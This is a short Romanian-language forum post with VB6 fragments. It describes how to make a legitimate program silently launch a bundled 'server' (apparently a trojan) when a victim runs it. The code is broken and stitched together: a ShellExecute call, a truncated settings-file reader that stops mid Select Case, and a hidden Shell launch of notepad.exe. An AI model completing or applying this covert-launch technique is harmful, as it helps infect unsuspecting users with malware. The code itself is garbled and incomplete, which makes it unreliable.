[VB6] Open Soft

[Fabr3gas]

Deci asta e gen ia cineva un soft de al vostru si langa aveti un server si victima vede ca ala e virus o sa deschida cel curat si atunci cu codu asta cand deschide soft deschide automat si serveru Tongue.
Ma rog sper ca ati inteles ideea

Cod: Selectaţi tot

ShellExecute Me.hwnd, "open", App.Path & "\terms.txt", vbNullString, vbNullString, 1


    On Error Resume Next
    Dim sLine As String
    Dim sSettings() As String
    If Dir(CurDir & "\settings.dat") <> "" Then
        Open CurDir & "\settings.dat" For Input As #1
        Do Until (EOF(1) = True)
            Line Input #1, sLine
            sSettings = Split(sLine, " ", 2)
            Select Case sSettings(0)











Dim Res
Dim Filename
    Filename = "C:\windows\notepad.exe" 'Check file is here first
If Dir(Filename) = "" Then
    MsgBox Filename & " not found", vbInformation
Else
    Res = Shell("Start.exe " & Filename, vbHide)
End If